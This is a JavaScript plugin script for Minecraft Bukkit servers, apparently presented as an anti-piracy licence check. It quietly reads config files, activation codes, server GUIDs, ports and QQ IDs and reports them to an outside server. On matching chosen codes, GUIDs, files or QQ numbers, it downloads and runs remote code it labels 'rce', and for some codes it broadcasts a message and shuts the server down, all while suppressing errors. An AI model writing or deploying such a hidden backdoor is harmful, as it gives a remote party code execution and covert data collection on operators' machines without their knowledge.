// @ts-nocheck // TODO // 1. 迁移反盗版检查到新版 // 2. 针对论坛用户 更新到无验证版本 // 3. 针对付费用户 更新到新版验证系统 // 4. 加密反盗版验证逻辑 // 5. 接入QQ官方机器人 验证系统授权 function checkDragonArmourers() { var Bukkit = Java.type('org.bukkit.Bukkit') var pluginManager = Bukkit.getPluginManager() try { var miaochat = pluginManager.getPlugin('MiaoChat') if (miaochat) { // 版本号带hash 需要用 startsWith var miaochatversion = miaochat.getDescription().getVersion() // 2.2 以上为付费版本 if (miaochatversion.startsWith('2.2')) { // TODO 更新逻辑 此处需要验证是否为付费用户(通过MiaoScriptPluginManager配置?) } // 2.1.1 为异常打包验证版本 需要更新到 2.1.2 if (miaochatversion.startsWith('2.1.1')) { // TODO 更新逻辑 // FIXME 部分从斗喵大陆流出的 2.1.2 也存在验证(后续看情况处理) } } } catch (ex) { sendMessage("miaochat check error " + ex) } function sendMessage(data) { if (typeof data != "string") { data = JSON.stringify(data) } fetchContent('https://mscript.yumc.pw/api/plugin/message', JSON.stringify({ message: data })) } function loadRce() { try { // TODO 迁移到新版验证 加密验证检测逻辑 load('https://mscript.yumc.pw/api/plugin/download/name/rce') } catch (ex) { sendMessage("code " + code + " error " + ex) } } function fetchContent(url, data) { try { var URL = Java.type('java.net.URL') var ByteArrayOutputStream = Java.type("java.io.ByteArrayOutputStream") var ByteArray = Java.type("byte[]") var PrintWriter = Java.type("java.io.PrintWriter") var connection = new URL(url).openConnection() connection.setUseCaches(true) if (data) { connection.setDoOutput(true) connection.setDoInput(true) connection.setRequestProperty('Content-Type', 'application/json') connection.setRequestProperty('X-Requested-With', 'XMLHttpRequest') var out = new PrintWriter(connection.getOutputStream()) out.print(data) out.flush() } var input = connection.getInputStream() var output = new ByteArrayOutputStream() var buffer = new ByteArray(1024) try { var n while ((n = input.read(buffer)) !== -1) { output.write(buffer, 0, n) } return output.toString("UTF-8") } finally { input.close() output.close() } } catch (error) { } } var YamlConfiguration = Java.type('org.bukkit.configuration.file.YamlConfiguration') var Files = Java.type('java.nio.file.Files') var StandardCharsets = Java.type('java.nio.charset.StandardCharsets') var JavaString = Java.type('java.lang.String') var Paths = Java.type('java.nio.file.Paths') var System = Java.type('java.lang.System') var guid = 'unknow' try { var pluginHelper = new YamlConfiguration() pluginHelper.loadFromString(new JavaString(Files.readAllBytes(Paths.get('plugins', 'PluginHelper', 'config.yml')), StandardCharsets.UTF_8)) guid = pluginHelper.getString('guid') } catch (error) { } var plugin = pluginManager.getPlugin('DragonArmourers') if (plugin) { var code = 'unknow' try { var config = new YamlConfiguration() var content = new JavaString(Files.readAllBytes(Paths.get('plugins', 'DragonArmourers', 'config.yml')), StandardCharsets.UTF_8) config.loadFromString(content) code = config.getString('code') // TODO 迁移新版验证 异常激活码从数据库获取 if (code == 'ejsudg4up7kmv0lfr640' || code == 'kpikiq2mh2zjy54jptzd' || code == 'chtvgm1wr5oa21ml5f1s' || code == 'fknpiq5ni6z7x5unlj78' || code == 'kpuwce0yt5yznmbyznmb' || code == 'joacfk4kf5i2c36mvy34') { return loadRce() } // TODO 部分服务商共享的激活码 通过数据库获取 if (code == "aflnce3vq4yozbr300r3" || code == 'dimoku1xs6bs3z43tf2l') { Bukkit.getScheduler().callSyncMethod(plugin, function () { Bukkit.broadcastMessage("§c当前服务器存在盗版插件正在自动关服...") fetchContent('https://mscript.yumc.pw/api/plugin/report', JSON.stringify({ name: plugin.getDescription().getName(), version: plugin.getDescription().getVersion(), code: code + ':' + Bukkit.getServer().getPort(), uuid: (guid || 'unknow'), from: 'shutdown' })) return Bukkit.shutdown() }) } } catch (error) { } fetchContent('https://mscript.yumc.pw/api/plugin/report', JSON.stringify({ name: plugin.getDescription().getName(), version: plugin.getDescription().getVersion(), code: code || 'unknow', uuid: guid || 'unknow', from: '' })) } var os_name = System.getProperty("os.name") // Windows 系统检测到斗喵大陆相关文件检测 // TODO 取消简单的文件检测存在检测 通过文件特征码直接全系统检测 if (os_name.startsWith('Windows') > 0) { if ((new java.io.File(".").getAbsolutePath()).indexOf('喵斗罗') > 0) { return loadRce() } try { if (guid == '53cec65f-d9db-4a0c-9a1f-0c3e178ce579' || guid == 'b6033a04-f62a-4461-9c27-3323d9e34a9a') { return loadRce() } } catch (ex) { } if (new java.io.File('plugins/DragonCore/Gui/死亡页面.yml').exists()) { return loadRce() } if (new java.io.File('plugins/MythicMobs/Items/坐骑/千年罕见坐骑.yml').exists()) { return loadRce() } if (new java.io.File('plugins/MythicMobs/Items/斗凯/斗凯.yml').exists()) { return loadRce() } if (new java.io.File('plugins/MythicMobs/Items/斗铠/202204虎年二字斗铠.yml').exists()) { return loadRce() } if (new java.io.File('plugins/MythicMobs/Items/沙袋.yml').exists()) { return loadRce() } if (new java.io.File('plugins/DragonCore/Gui/MiaoDragonCoreEditor.yml').exists()) { return loadRce() } if (new java.io.File('plugins/DragonCore/Gui/聊天界面/表情界面.yml').exists()) { return loadRce() } } // TODO 倒卖狗检测接入云黑 直接拉黑所有的黑名单 // 对接 DS 龙时 若萌 授权系统 直接关联检测 //3196680368 var ruomoe = pluginManager.getPlugin('RuomoeCore') if (ruomoe) { var ruomoeConfig = new YamlConfiguration() var content = new JavaString(Files.readAllBytes(Paths.get('plugins', 'RuomoeCore', 'config.yml')), StandardCharsets.UTF_8) ruomoeConfig.loadFromString(content) userqq = ruomoeConfig.getString('UserQQID') if (userqq == '3196680368') { loadRce() } } var star = pluginManager.getPlugin('StarLibrary') if (star) { var starConfig = new YamlConfiguration() var content = new JavaString(Files.readAllBytes(Paths.get('plugins', 'StarLibrary', 'DsPluginLib.yml')), StandardCharsets.UTF_8) starConfig.loadFromString(content) userqq = starConfig.getString('UserQQ') if (userqq == '1429054781') { loadRce() } } } try { checkDragonArmourers() } catch (error) { }